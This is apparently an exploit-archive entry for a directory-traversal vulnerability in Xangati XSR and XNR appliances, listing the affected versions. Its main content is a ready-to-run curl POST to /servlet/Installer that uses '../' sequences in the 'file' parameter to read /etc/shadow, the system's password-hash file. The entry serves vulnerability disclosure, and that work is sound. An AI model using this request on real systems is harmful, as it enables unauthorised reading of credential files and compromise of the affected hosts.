Xangati - '/servlet/Installer?file' Directory Traversal

source: https://www.securityfocus.com/bid/66817/info
 
Xangati XSR And XNR are prone to a multiple directory-traversal vulnerabilities.
 
A remote attacker could exploit these vulnerabilities using directory-traversal characters ('../') to access or read arbitrary files that contain sensitive information.
 
Xangati XSR prior to 11 and XNR prior to 7 are vulnerable. 

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Java/1.7.0_25' \
--data-binary $'key=validkey&falconConfig=getfile&file=%2Ffloodguard%2F../../../../../../../../../etc/shadow' \
'hxxps://www.example.com/servlet/Installer'